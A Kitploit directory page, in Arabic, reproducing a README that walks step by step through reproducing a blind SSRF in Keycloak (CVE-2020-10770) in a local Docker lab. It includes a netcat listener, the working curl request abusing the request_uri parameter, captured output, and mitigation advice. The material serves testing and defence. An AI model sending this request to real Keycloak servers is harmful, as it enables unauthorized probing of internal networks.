Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-10770-keycloak-exploit-poc — دليل خطوة بخطوة لإعادة إنتاج ثغرة SSRF العمياء في Keycloak (CVE-2020-10770) مع إعداد Docker، وتكوين المستمع، ونصائح التخفيف. | Kitploit
أدوات/GitHubGitHub/0xlyvio/cve-2020-10770-keycloak-exploit-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
GitHub0xlyvio/cve-2020-10770-keycloak-exploit-poc

CVE-2020-10770-keycloak-exploit-poc

دليل خطوة بخطوة لإعادة إنتاج ثغرة SSRF العمياء في Keycloak (CVE-2020-10770) مع إعداد Docker، وتكوين المستمع، ونصائح التخفيف.

عرض المستودع
25منذ 21 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

إثبات مفهوم SSRF الأعمى في Keycloak

هذا شرح خطوة بخطوة حول كيفية اختبار ثغرة SSRF الأعمى (CVE-2020-10770) التي اكتشفها Lauritz Holtmann ووثّقها في مقالته على المدونة.
كما شرح بإيجاز كيفية اختبارها. هذا مجرد شرح أكثر تفصيلاً.

كل الفضل يعود إلى Lauritz.

الإعداد

أستخدم Docker على نظام Mac OSX هنا.
احتجت إلى ثلاث نوافذ طرفية، واحدة لتشغيل مثيل Keycloak، وأخرى للمستمع (listener)، وثالثة لطلب curl.

المدافع

تحتاج إلى مثيل Keycloak قيد التشغيل بإصدار <= 12.0.1.
يمكنك بدء مثيل اختبار باستخدام الأمر التالي.

root@kitploit:~
docker run -p 9990:9990 -p 8080:8080 -e KEYCLOAK_USER=admin -e KEYCLOAK_PASSWORD=admin jboss/keycloak:12.0.1

قم بزيارة http://localhost:8080/auth/admin/ في المتصفح وسجّل الدخول باسم المستخدم "admin" وكلمة المرور "admin".

على الجانب الأيسر انتقل إلى قائمة "Clients". سينقلك هذا إلى نظرة عامة على العملاء (Clients).
نظرة عامة على عميل Oauth2

على الجانب الأيمن انقر على "Create" لإنشاء عميل جديد. سينقلك هذا إلى صفحة إنشاء العميل.


إنشاء عميل Oauth2

اختر "Client ID" مناسباً لعميل Oauth2 الخاص بك. سأستخدم "blueteamoauth2client" هنا (هذا هو <Keycloak_Client_ID> الخاص بك). إذا استخدمت Client ID آخر، فسيتعين عليك تغيير معامل استعلام في طلب الهجوم http. انقر على حفظ لإنهاء إعداد العميل.
إنشاء عميل Oauth2

سترى الآن إعدادات عميل Oauth2 الجديد لدينا.
إنشاء عميل Oauth2

هذا كل شيء بالنسبة لجزء الدفاع.

المهاجم

المستمع (Listener)

تحتاج إلى مستمع يقبل الطلب الذي نريد تشغيله عبر ثغرة SSRF. لذا يجب أن يكون عنوان IP والمنفذ قابلين للوصول من خادم Keycloak.
لا يمكنك استخدام localhost في هذه الحالة، لأنه من وجهة نظر Keycloak سيكون localhost داخل الحاوية نفسها.
لاسترجاع عنوان IP في نظام Mac OS يمكنك استخدام

root@kitploit:~
for iface in $(ifconfig  | grep ^en | awk -F\: {'print $1'}); do ipconfig getifaddr $iface; done

اخترت بدء المستمع على نظام المضيف الخاص بي على المنفذ 4444.

root@kitploit:~
nc -v -l 4444

الهجوم

في نافذة طرفية أخرى، عليك تنفيذ طلب واحد باستخدام curl. يجب تعديله وفقاً لمتطلباتك.

root@kitploit:~
curl "http://<Keycloak_host_or_ip>:<Keycloak_port>/auth/realms/<Keycloak_realm>/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=<Keycloak_Client_ID>&request_uri=http://<Netcat_listener_ip>:<Netcat_listener_port>/"

الأجزاء المهمة هي:

  • <Keycloak_host_or_ip> في حالتي "localhost".
  • <Keycloak_port> في حالتي "8080".
  • <Keycloak_realm> العالم (realm) المستخدم بواسطة Keycloak. الافتراضي هو "master". هذا ما أستخدمه هنا.
  • <Netcat_listener_ip> عنوان IP لمستمع netcat.
  • <Netcat_listener_port> منفذ مستمع netcat.

إذن الاستعلام في حالتي هو

root@kitploit:~
curl "http://localhost:8080/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=blueteamoauth2client&request_uri=http://192.168.178.222:4444/"

النتيجة

في مستمع netcat سترى شيئاً مثل هذا.

root@kitploit:~
bash-3.2$ nc -v -l 4444
GET / HTTP/1.1
Host: 192.168.178.222:4444
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/11.0.9.1)
Accept-Encoding: gzip,deflate

bash-3.2$

هذا يعني أن مثيل Keycloak قام باستدعاء http إلى المستمع الخاص بك.

ستكون هناك أيضاً إدخالات حول هذا في سجلات Keycloak.

root@kitploit:~
13:37:28,855 WARN  [org.keycloak.services] (default task-16) KC-SERVICES0097: Invalid request: java.net.SocketTimeoutException: Read timed out
	at java.base/java.net.SocketInputStream.socketRead0(Native Method)
	at java.base/java.net.SocketInputStream.socketRead(SocketInputStream.java:115)
(...)
13:37:28,877 WARN  [org.keycloak.events] (default task-16) type=LOGIN_ERROR, realmId=master, clientId=blueteamoauth2client, userId=null, ipAddress=172.17.0.1, error=invalid_request

التخفيف

للتخفيف من هذه الثغرة يمكنك إما:

  • تحديث Keycloak إلى الإصدار >= 12.0.2.
  • التأكد من أن الوكيل العكسي (reverse proxy) أمام Keycloak يقوم بإسقاط أي طلب يتضمن معامل الاستعلام "request_uri".

شكر وتقدير

شكراً لـ Lauritz لاكتشافه والإبلاغ عن ثغرة SSRF، وكتابة المقالة على المدونة، وأيضاً للتلميح الأولي حول كيفية القيام بذلك.
شكراً لـ Sebastian لفكرة حظر الطلبات التي تحتوي على معامل الاستعلام "request_uri" في الوكيل العكسي.

تنزيل الأداة